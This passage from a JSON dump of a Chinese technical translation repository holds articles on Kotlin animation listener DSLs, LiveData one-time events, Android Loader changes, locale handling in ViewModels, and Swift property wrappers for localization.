.alpha(0f)\n        .setListener(\n                animationStart = { toast(\"Animation start\") },\n                animationRepeat = { toast(\"Animation repeat\") },\n                animationCancel = { toast(\"Animation cancel\") },\n                animationEnd = { toast(\"Animation end\") }\n        )\n```\n\n感谢命名参数，让我们可以很清楚这里发生了什么。\n\n你需要确保没有命名参数的时候就不要使用它，否则它会变得有点乱：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener(\n                { toast(\"Animation start\") },\n                { toast(\"Animation repeat\") },\n                { toast(\"Animation cancel\") },\n                { toast(\"Animation end\") }\n        )\n```\n\n无论如何，这个解决方案仍然迫使我们实现所有方法。但它很容易解决：只需使用[参数的默认值](https://antonioleiva.com/kotlin-android-extension-functions/)。空的 lambda 表达式将上面的代码演变成：\n\n```\ninline fun ViewPropertyAnimator.setListener(\n        crossinline animationStart: (Animator) -> Unit = {},\n        crossinline animationRepeat: (Animator) -> Unit = {},\n        crossinline animationCancel: (Animator) -> Unit = {},\n        crossinline animationEnd: (Animator) -> Unit = {}) {\n\n    ...\n}\n```\n\n现在你可以这样做：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener(\n                animationEnd = { toast(\"Animation end\") }\n        )\n```\n\n还不错，对吧？虽然比之前的做法要稍微复杂一点，但却更加灵活了。\n\n## 杀手锏操作：DSL\n\n到目前为止，我一直在解释简单的解决方案，诚实地说可能涵盖大多数情况。但如果你想发疯，你甚至可以创建一个让事情变得更加明确的小型 DSL。\n\n这个想法 [来自 Anko 如何实现一些侦听器](https://github.com/Kotlin/anko/blob/master/anko/library/generated/sdk23-listeners/src/Listeners.kt)，它是创建一个实现了一组接收 lambda 表达式的方法帮助器。这个 lambda 将在接口的相应实现中被调用。我想首先向您展示结果，然后解释使其实现的代码：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener {\n            onAnimationStart {\n                toast(\"Animation start\")\n            }\n            onAnimationEnd {\n                toast(\"Animation End\")\n            }\n        }\n```\n\n看到了吗？ 这里使用了一个小型的 DSL 来定义动画监听器，我们只需调用我们需要的功能即可。对于简单的行为，这些方法可以是单行的：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener {\n            onAnimationStart { toast(\"Start\") }\n            onAnimationEnd { toast(\"End\") }\n        }\n```\n\n这相比于之前的解决方案有两个优点：\n\n*   **它更加简洁**：您在这里保存了一些特性，但老实说，仅仅因为这个还不值得努力。\n*   **它更加明确**：它迫使开发人员说出他们所重写的功能。在前一个选择中，由开发人员设置命名参数。这里没有选择，只能调用该方法。\n\n所以它本质上是一个不太容易出错的解决方案。\n\n现在来实现它。首先，您仍需要一个扩展方法：\n\n```\nfun ViewPropertyAnimator.setListener(init: AnimListenerHelper.() -> Unit) {\n    val listener = AnimListenerHelper()\n    listener.init()\n    this.setListener(listener)\n}\n```\n\n这个方法只获取一个[带有接收器的 lambda 表达式](https://tech.io/playgrounds/6973/kotlin-function-literal-with-receiver)，它应用于一个名为 `AnimListenerHelper` 的新类。它创建了这个类的一个实例，使它调用 lambda 表达式，并将实例设置为监听器，因为它正在实现相应的接口。让我们看看如何实现 `AnimeListenerHelper`：\n\n```\nclass AnimListenerHelper : Animator.AnimatorListener {\n    ...\n}\n```\n\n然后对于每个方法，它需要：\n\n*   保存 lambda 表达式的属性\n*   DSL 方法，它接收在调用原始接口的方法时执行的 lambda 表达式\n*   在原有接口基础上重写方法\n\n```\nprivate var animationStart: AnimListener? = null\n\nfun onAnimationStart(onAnimationStart: AnimListener) {\n    animationStart = onAnimationStart\n}\n\noverride fun onAnimationStart(animation: Animator) {\n    animationStart?.invoke(animation)\n}\n```\n\n这里我使用的是 `AnimListener` 的一个 [类型别名](https://kotlinlang.org/docs/reference/type-aliases.html)：\n\n```\nprivate typealias AnimListener = (Animator) -> Unit\n```\n\n这里是完整的代码：\n\n```\nfun ViewPropertyAnimator.setListener(init: AnimListenerHelper.() -> Unit) {\n    val listener = AnimListenerHelper()\n    listener.init()\n    this.setListener(listener)\n}\n\nprivate typealias AnimListener = (Animator) -> Unit\n\nclass AnimListenerHelper : Animator.AnimatorListener {\n\n    private var animationStart: AnimListener? = null\n\n    fun onAnimationStart(onAnimationStart: AnimListener) {\n        animationStart = onAnimationStart\n    }\n\n    override fun onAnimationStart(animation: Animator) {\n        animationStart?.invoke(animation)\n    }\n\n    private var animationRepeat: AnimListener? = null\n\n    fun onAnimationRepeat(onAnimationRepeat: AnimListener) {\n        animationRepeat = onAnimationRepeat\n    }\n\n    override fun onAnimationRepeat(animation: Animator) {\n        animationRepeat?.invoke(animation)\n    }\n\n    private var animationCancel: AnimListener? = null\n\n    fun onAnimationCancel(onAnimationCancel: AnimListener) {\n        animationCancel = onAnimationCancel\n    }\n\n    override fun onAnimationCancel(animation: Animator) {\n        animationCancel?.invoke(animation)\n    }\n\n    private var animationEnd: AnimListener? = null\n\n    fun onAnimationEnd(onAnimationEnd: AnimListener) {\n        animationEnd = onAnimationEnd\n    }\n\n    override fun onAnimationEnd(animation: Animator) {\n        animationEnd?.invoke(animation)\n    }\n}\n```\n\n最终的代码看起来很棒，但代价是做了很多工作。\n\n## 我该使用哪种方案？\n\n像往常一样，这要看情况。**如果您不在代码中经常使用它，我会说哪种方案都不要使用**。在这些情况下要根据实际情况而定，如果你要编写一次监听器，只需使用一个实现接口的匿名对象，并继续编写重要的代码。\n\n如果您发现需要使用更多次监听器，请使用其中一种解决方案进行重构。我通常会选择只使用我们感兴趣的功能进行简单的扩展。如果您需要多个监听器，请评估两种最新替代方案中的哪一种更适合您。像往常一样，这取决于你将要如何广泛地使用它。\n\n希望这篇文章能够在您下一次处于这种情况下时帮助到您。**如果您以不同方式解决此问题，请在评论中告诉我们！**\n\n感谢您的阅读 🙂\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/livedata-with-snackbar-navigation-and-other-events-the-singleliveevent-case.md",
    "content": "> * 原文地址：[LiveData with SnackBar, Navigation and other events (the SingleLiveEvent case)](https://medium.com/google-developers/livedata-with-snackbar-navigation-and-other-events-the-singleliveevent-case-ac2622673150)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/livedata-with-snackbar-navigation-and-other-events-the-singleliveevent-case.md](https://github.com/xitu/gold-miner/blob/master/TODO1/livedata-with-snackbar-navigation-and-other-events-the-singleliveevent-case.md)\n> * 译者：[wzasd](github.com/wzasd)\n> * 校对者：[LeeSniper](github.com/LeeSniper)\n\n## 在 SnackBar，Navigation 和其他事件中使用 LiveData（SingleLiveEvent 案例）\n视图层（Activity 或者 Fragment）与 ViewModel 层进行通讯的一种便捷的方式就是使用 [`LiveData`](https://developer.android.com/topic/libraries/architecture/livedata) 来进行观察。这个视图层订阅 Livedata 的数据变化并对其变化做出反应。这适用于连续不断显示在屏幕的数据。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*vbhP6Sw61MAK335gEubwHA.png)\n\n**但是，有一些数据只会消费一次**，就像是 Snackbar 消息，导航事件或者对话框。\n\n![](https://cdn-images-1.medium.com/max/800/1*WwhYg9sscdYQgLvC3xks4g.png)\n\n这应该被视为设计问题，而不是试图通过架构组件的库或者扩展来解决这个问题。**我们建议您将您的事件视为您的状态的一部分**。在本文中，我们将展示一些常见的错误方法，以及推荐的方式。\n\n### ❌ 错误：1. 使用 LiveData 来解决事件\n\n这种方法来直接的在 LiveData 对象的内部持有 Snackbar 消息或者导航信息。尽管原则上看起来像是普通的 LiveData 对象可以用在这里，但是会出现一些问题。\n\n在一个主/从应用程序中，这里是主 ViewModel：\n\n```\n// 不要使用这个事件\nclass ListViewModel : ViewModel {\n    private val _navigateToDetails = MutableLiveData<Boolean>()\n\n    val navigateToDetails : LiveData<Boolean>\n        get() = _navigateToDetails\n\n\n    fun userClicksOnButton() {\n        _navigateToDetails.value = true\n    }\n}\n```\n\n在视图层（Activity 或者 Fragment）：\n\n```\nmyViewModel.navigateToDetails.observe(this, Observer {\n    if (it) startActivity(DetailsActivity...)\n})\n```\n\n这种方法的问题是 `_navigateToDetails` 中的值会长时间保持为真，并且无法返回到第一个屏幕。一步一步进行分析：\n\n1.  用户点击按钮 Details Activity 启动。\n2.  用户用户按下返回，回到主 Activity。\n3.  观察者在 Activity 处于回退栈时从非监听状态再次变成监听状态。\n4.  但是该值仍然为 “真”，因此 Detail Activity 启动出错。\n\n解决方法是从 ViewModel 中将导航的标志点击后立刻设为 false;\n\n```\nfun userClicksOnButton() {\n    _navigateToDetails.value = true\n    _navigateToDetails.value = false // Don't do this\n}\n```\n\n但是，需要记住的一件很重要的事就是 LiveData 储存这个值，但是不保证发出它接受到的每个值。例如：当没有观察者处于监听状态时，可以设置一个值，因此新的值将会替换它。此外，从不同线程设置值的时候可能会导致资源竞争，只会向观察者发出一次改变信号。\n\n但是这种方法的主要问题是**难以理解和不简洁**。在导航事件发生后，我们如何确保值被重置呢？\n\n### **❌ 可能更好一些：2. 使用 LiveData 进行事件处理，在观察者中重置事件的初始值**\n\n通过这种方法，您可以添加一种方法来从视图中支出您已经处理了该事件，并且重置该事件。\n\n#### 用法\n\n对我们的观察者进行一些小改动，我们就有了这样的解决方案：\n\n```\nlistViewModel.navigateToDetails.observe(this, Observer {\n    if (it) {\n        myViewModel.navigateToDetailsHandled()\n        startActivity(DetailsActivity...)\n    }\n})\n```\n\n像下面这样在 ViewModel 中添加新的方法：\n\n```\nclass ListViewModel : ViewModel {\n    private val _navigateToDetails = MutableLiveData<Boolean>()\n\n    val navigateToDetails : LiveData<Boolean>\n        get() = _navigateToDetails\n\n\n    fun userClicksOnButton() {\n        _navigateToDetails.value = true\n    }\n\n    fun navigateToDetailsHandled() {\n        _navigateToDetails.value = false\n    }\n}\n```\n\n#### 问题\n\n这种方法的问题是有一些死板（每个事件在 ViewModel 中有一个新的方法），并且很容易出错，观察者很容易忘记调用这个 ViewModel 的方法。\n\n### **✔️ 正确解决方法: 使用 SingleLiveEvent**\n\n这个 [SingleLiveEvent](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/SingleLiveEvent.java) 类是为了适用于特定场景的解决方法。这是一个只会发送一次更新的 LiveData。\n\n#### 用法\n\n```\nclass ListViewModel : ViewModel {\n    private val _navigateToDetails = SingleLiveEvent<Any>()\n\n    val navigateToDetails : LiveData<Any>\n        get() = _navigateToDetails\n\n\n    fun userClicksOnButton() {\n        _navigateToDetails.call()\n    }\n}\n```\n\n```\nmyViewModel.navigateToDetails.observe(this, Observer {\n    startActivity(DetailsActivity...)\n})\n```\n\n#### 问题\n\nSingleLiveEvent 的问题在于它仅限于一个观察者。如果您无意中添加了多个，则只会调用一个，并且不能保证哪一个。\n\n![](https://cdn-images-1.medium.com/max/800/1*TLeVFNJwRpXCeS7NaF1EaA.png)\n\n### **✔️ 推荐: 使用事件包装器**\n\n在这种方法中，您可以明确地管理事件是否已经被处理，从而减少错误。\n\n#### 用法\n\n```\n/**\n * Used as a wrapper for data that is exposed via a LiveData that represents an event.\n */\nopen class Event<out T>(private val content: T) {\n\n    var hasBeenHandled = false\n        private set // Allow external read but not write\n\n    /**\n     * Returns the content and prevents its use again.\n     */\n    fun getContentIfNotHandled(): T? {\n        return if (hasBeenHandled) {\n            null\n        } else {\n            hasBeenHandled = true\n            content\n        }\n    }\n\n    /**\n     * Returns the content, even if it's already been handled.\n     */\n    fun peekContent(): T = content\n}\n```\n\n```\nclass ListViewModel : ViewModel {\n    private val _navigateToDetails = MutableLiveData<Event<String>>()\n\n    val navigateToDetails : LiveData<Event<String>>\n        get() = _navigateToDetails\n\n\n    fun userClicksOnButton(itemId: String) {\n        _navigateToDetails.value = Event(itemId)  // Trigger the event by setting a new Event as a new value\n    }\n}\n```\n\n```\nmyViewModel.navigateToDetails.observe(this, Observer {\n    it.getContentIfNotHandled()?.let { // Only proceed if the event has never been handled\n        startActivity(DetailsActivity...)\n    }\n})\n```\n\n这种方法的优点在于用户使用 `getContentIfNotHandled()` 或者 `peekContent()` 来指定意图。这个方法将事件建模为状态的一部分：他们现在只是一个消耗或者不消耗的消息。\n\n![](https://cdn-images-1.medium.com/max/800/1*b0z9Flj04zVW_UGsDPQyOA.png)\n\n使用事件包装器，您可以将多个观察者添加到一次性事件中。\n\n* * *\n\n总之：**把事件设计成你的状态的一部分**。使用您自己的[事件](https://gist.github.com/JoseAlcerreca/5b661f1800e1e654f07cc54fe87441af)包装器并根据您的需求进行定制。\n\n银弹！若您最终发生大量事件，请使用这个 [EventObserver](https://gist.github.com/JoseAlcerreca/e0bba240d9b3cffa258777f12e5c0ae9) 可以删除很多无用的代码。\n\n感谢 [Don Turner](https://medium.com/@donturner?source=post_page)，[Nick Butcher](https://medium.com/@crafty?source=post_page)，和 [Chris Banes](https://medium.com/@chrisbanes?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/loaders-in-support-library-27-1-0.md",
    "content": "> * 原文地址：[Loaders in Support Library 27.1.0](https://medium.com/google-developers/loaders-in-support-library-27-1-0-b1a1f0fee638)\n> * 原文作者：[Ian Lake](https://medium.com/@ianhlake?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/loaders-in-support-library-27-1-0.md](https://github.com/xitu/gold-miner/blob/master/TODO1/loaders-in-support-library-27-1-0.md)\n> * 译者：[dreamhb](https://github.com/dreamhb)\n> * 校对者：[Starriers](https://github.com/Starriers)\n\n# 支持库 27.1.0 中的 Loader\n\n为了 [支持库 27.1.0](https://developer.android.com/topic/libraries/support-library/revisions.html#27-1-0)，我重写了 [`LoaderManager`](https://developer.android.com/reference/android/support/v4/app/LoaderManager.html) 的内部结构，[`Loaders API`](https://developer.android.com/guide/components/loaders.html) 以它为基础，我也想解释下这些改变背后的缘由以及接下来会有什么期待。\n\n#### Loader 和 Fragment 的一小段历史\n\n一开始，Loader 和 Fragment 紧紧的联系在一起。这意味着，为了支持 Loader，在 [`FragmentActivity`](https://developer.android.com/reference/android/support/v4/app/FragmentActivity.html) 和 [`Fragment`](https://developer.android.com/reference/android/support/v4/app/Fragment.html) 中有许多的代码，然而事实上他们几乎没有关联。这也意味着和 Activity、Fragment 以及架构组件[生命周期](https://developer.android.com/topic/libraries/architecture/lifecycle.html) 相比，Loader 的生命周期和保障是完全独特的且受制与它那有趣且激动人心的行为差异和 bug。\n\n#### 27.1.0 中的改变\n\n在 27.1.0 中，Loader 的遗留问题已经大幅度的减少：实现 `LoaderManager` 的代码行数只有之前的三分之一，也有很多的测试让 Loader 在未来能够保持一个良好的状态。\n\n所有这些都得意于架构组件。更确切的说是 [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) ( 在配置变化时保持状态 ) 和 [LiveData](https://developer.android.com/topic/libraries/architecture/livedata.html)( 支持生命周期和回调 )。现在的 Loader 基于这些更高级别且充分测试的组件并从中受益，减少了不断增加的性能损失，提高了 Loader 的可靠性和正确性。\n\n#### 行为变化\n\n这确实意味着一些行为变更。\n\n首先，必须在主线程中调用 [`initLoader`](https://developer.android.com/reference/android/support/v4/app/LoaderManager.html#initLoader%28int,%20android.os.Bundle,%20android.support.v4.app.LoaderManager.LoaderCallbacks%3CD%3E%29)、[`restartLoader`](https://developer.android.com/reference/android/support/v4/app/LoaderManager.html#restartLoader%28int,%20android.os.Bundle,%20android.support.v4.app.LoaderManager.LoaderCallbacks%3CD%3E%29) 和 [`destroyLoader`](https://developer.android.com/reference/android/support/v4/app/LoaderManager.html#destroyLoader%28int%29)。这提供了一些非常特别的保障在回调结束或开始时，例如在销毁一个 loader 后，你将永远不会拿到 [`onLoadFinished`](https://developer.android.com/reference/android/support/v4/app/LoaderManager.LoaderCallbacks.html#onLoadFinished%28android.support.v4.content.Loader%3CD%3E,%20D%29) 的回调。\n\n> 注意事项：就技术来说，这次发布之前，你可以在其他线程中做 loader 操作，但是 `LoaderManager` 不再是线程安全的，会导致经常性的未定义行为。\n\n最重要的是，现在 [`onLoadFinished`](https://developer.android.com/reference/android/support/v4/app/LoaderManager.LoaderCallbacks.html#onLoadFinished%28android.support.v4.content.Loader%3CD%3E,%20D%29) 和 LiveData Observers 一样，总是在 `onStart` 和 `onStop` 之间被调用，且不会在 `onSaveInstanceState` 之后。这样你可以在 `onLoadFinished` 中安全的做 [Fragment Transactions](https://developer.android.com/guide/components/fragments.html#Transactions) 了。\n\n#### 我应当使用什么，loader 后续如何？\n\n像我在之前的博客 [Lifecycle Aware Data Loading with Architecture Components](https://medium.com/google-developers/lifecycle-aware-data-loading-with-android-architecture-components-f95484159de4) 中提到的那样，我强烈建议开发者使用 ViewModel+LiveData 的组合，我认为他们绝对是一个更灵活更容易理解的系统。然而，如果你已经有基于 loader 的 APIs，这些改变应当会极大的提升组件以后的可依赖性和稳定性。\n\n这许多的改变让 Loader 变成一个功能，更加可选的依赖，不需要对 [LifecycleOwner](https://developer.android.com/reference/android/arch/lifecycle/LifecycleOwner.html)/[ViewModelStoreOwner](https://developer.android.com/reference/android/arch/lifecycle/ViewModelStoreOwner.html) 做很底层的修改。\n\n#### 尝试下吧！\n\n如果你正在使用 Loader，请尽快仔细查看并注意行为变更，他们都在[发布事项](https://developer.android.com/topic/libraries/support-library/revisions.html#27-1-0 ) 中。\n\n> 注意事项：显而易见，只有支持库有这些更改。如果你使用的是 Android 框架的 Loader，请尽快切换到支持库。因为框架的 Loader APIs 不会有错误修复或者计划中的改进。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端 )、[后端](https://github.com/xitu/gold-miner#后端 )、[区块链](https://github.com/xitu/gold-miner#区块链 )、[产品](https://github.com/xitu/gold-miner#产品 )、[设计](https://github.com/xitu/gold-miner#设计 )、[人工智能](https://github.com/xitu/gold-miner#人工智能 ) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/locale-changes-and-the-androidviewmodel-antipattern.md",
    "content": "> * 原文地址：[Locale changes and the AndroidViewModel antipattern](https://medium.com/androiddevelopers/locale-changes-and-the-androidviewmodel-antipattern-84eb677660d9)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/locale-changes-and-the-androidviewmodel-antipattern.md](https://github.com/xitu/gold-miner/blob/master/TODO1/locale-changes-and-the-androidviewmodel-antipattern.md)\n> * 译者：[solerji](https://github.com/solerji)\n\n# 区域设置更改和 AndroidViewModel 反面模式\n\n> TL;DR：从视图模型中公开资源 ID 以避免显示废弃的数据。\n\n在 ViewModel 中，如果要公开来自资源（字符串、可绘制文件、颜色……）的数据，则必须着重考虑 ViewModel 对象而忽视配置更改，例如**区域设置更改**。当用户更改其区域设置时，活动将重新被创建，但不创建 ViewModel 对象。\n\n![**本地化字符串在区域设置更改后不更新**](https://cdn-images-1.medium.com/max/2000/0*kL5zW7zi_ImPUwHr)\n\n`AndroidViewModel` 是已知应用程序上下文的 `ViewModel` 的子类。然而，如果您没有注意到或没有对上下文的生命周期做出反应，访问上下文可能是危险的。**建议的做法是避免处理在 ViewModels 中具有生命周期的对象。**\n\n让我们看看跟踪器中基于此问题的示例：**[在系统区域设置更改时更新 ViewModel ](https://issuetracker.google.com/issues/111961971)。**\n\n```Java\n// 别这么做\npublic class MyViewModel extends AndroidViewModel {\n    public final MutableLiveData<String> statusLabel = new MutableLiveData<>();\n    \n    public SampleViewModel(Application context) {\n        super(context);\n        statusLabel.setValue(context.getString(R.string.labelString));\n    }\n}\n```\n\n问题的关键是字符串在构造器中只解释一次。**如果有区域设置更改，则不会重新创建视图模型**。这将导致我们的应用程序显示废弃的数据，因此只能部分本地化。\n\n正如 [Sergey](https://twitter.com/ZelenetS) 在评论中指出的那样 [comments](https://issuetracker.google.com/issues/111961971#comment2)，推荐的方法是**公开要加载的资源的 ID ，并在视图中这样做**。由于视图（活动、片段等）具有生命周期意识，因此它将在配置更改后重新创建，以便正确地重新加载资源。\n\n```Java\n// 显示资源ID\npublic class MyViewModel extends ViewModel {\n    public final MutableLiveData<Int> statusLabel = new MutableLiveData<>();\n    \n    public SampleViewModel(Application context) {\n        super(context);\n        statusLabel.setValue(R.string.labelString);\n    }\n}\n```\n\n即使你不打算本地化你的应用程序，它也会使测试变得更容易并且清空你的 ViewModel 对象，因此没有理由不去考虑它的前瞻性。\n\n我们在以 Java 为基础的 Android 架构存储库中解决了这个问题 [Java](https://github.com/googlesamples/android-architecture/pull/631) 以及在[Kotlin](https://github.com/googlesamples/android-architecture/pull/635) 分支上。我们也把资源转移到 [数据绑定布局](https://github.com/googlesamples/android-architecture/pull/635/files#diff-7eb5d85ec3ea4e05ecddb7dc8ae20aa1R62)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/localize-swift-application.md",
    "content": "> * 原文地址：[Localize Swift Application](https://levelup.gitconnected.com/localize-swift-application-f1fd0f4af800)\n> * 原文作者：[Dmytro Pylypenko](https://medium.com/@dimpiax)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/localize-swift-application.md](https://github.com/xitu/gold-miner/blob/master/TODO1/localize-swift-application.md)\n> * 译者：[chaingangway](https://github.com/chaingangway)\n> * 校对者：[Bruce-pac](https://github.com/Bruce-pac)\n\n# 如何运用 Swift 的属性包装器实现应用本地化\n\n![](https://cdn-images-1.medium.com/max/4800/1*SjXk6V6r3e94guJcg5mRzw.png)\n\n您好，Swift 开发者，在本文中，我想与您分享我的经验和知识，主要内容有**属性包装器**（**Property Wrapper**）的使用，以及如何简化代码并使其易于维护。我会通过几个主题对此进行说明。\n\n在 Swift 5.1 中，Apple 引入了**属性包装器**，它可以让我们在属性和访问逻辑（getter 和 setter）之间设置中间层。\n\n下面的内容是在 `@IBOutlet` 变量内部使用**属性包装器**的简便方法来实现应用本地化。\n\n---\n\n优化下面这个**基础**版本：\n\n```Swift\nclass NatureViewController: UIViewController {\n  @IBOutlet private var label: UILabel! {\n    didSet {\n      label.title = NSLocalizedString(\"natureTitle\", comment: \"\")\n    }\n  }\n  \n  @IBOutlet private var button: UIButton! {\n    didSet {\n      button.setTitle(NSLocalizedString(\"saveNatureButton\", comment: \"\"), for: .normal)\n    }\n  }\n}\n```\n\n我们可以用**属性包装器** `@Localized` 改进代码，如下：\n\n```Swift\nclass NatureViewController: UIViewController {\n  @Localized(\"natureTitle\")\n  @IBOutlet private var label: UILabel!\n  \n  @Localized(\"saveNatureButton\")\n  @IBOutlet private var button: UIButton!\n}\n```\n\n这代码看起来很优雅，不是吗？下面让我们创建 `@Localized` 属性包装器。\n将 key 当做枚举来使用会更好，如：`@Localized(.natureTitle)`。\n\n```Swift\n@propertyWrapper\nstruct Localized<T: Localizable> {\n  private let key: LocalizationKey\n  \n  var wrappedValue: T? = nil {\n    didSet {\n      wrappedValue?.set(localization: key)\n    }\n  }\n  \n  init(_ key: LocalizationKey) {\n    self.key = key\n  }\n}\n```\n\n为了能让更多的类型能够支持 `Localizable` 协议，\n我们要实现 `UILabel` 和 `UIButton` 的扩展方法。\n\n```Swift\nprotocol Localizable {\n  func set(localization: LocalizationKey)\n}\n\nextension UIButton: Localizable {\n  func set(localization key: LocalizationKey) {\n    setTitle(key.string, for: .normal)\n  }\n}\n\nextension UILabel: Localizable {\n  func set(localization key: LocalizationKey) {\n    text = key.string\n  }\n}\n```\n\n最后我们只需要实现 `LocalizationKey`:\n\n```Swift\nenum LocalizationKey: String {\n  case \n  natureTitle, \n  saveNatureButton\n}\n\nextension LocalizationKey {\n  var string: String {\n    NSLocalizedString(rawValue, comment: rawValue)\n  }\n}\n```\n\n我们可以直接用 raw 的值来表示相应的 key，`String` 类型默认遵守这个协议，所以只需要枚举中的值与 `Localizable.strings` 中的 key 保持一致就可以了。\n\n最终的代码如下：\n\n```Swift\nclass NatureViewController: UIViewController {\n  @Localized(.natureTitle)\n  @IBOutlet private var label: UILabel!\n  \n  @Localized(.saveNatureButton)\n  @IBOutlet private var button: UIButton!\n}\n```\n\n---\n\n本章结束！关于 `@Localized` 还有一些潜在功能：\n\n* 格式化字符串数据，并进行动态替换。\n* 能够确定来自指定的表单和资源包的字符串。\n\n**想了解更多关于属性包装器的知识，请阅读官方文档：**\n[**Properties - The Swift Programming Language (Swift 5.2)**](https://docs.swift.org/swift-book/LanguageGuide/Properties.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/logging-activity-web-beacon-api.md",
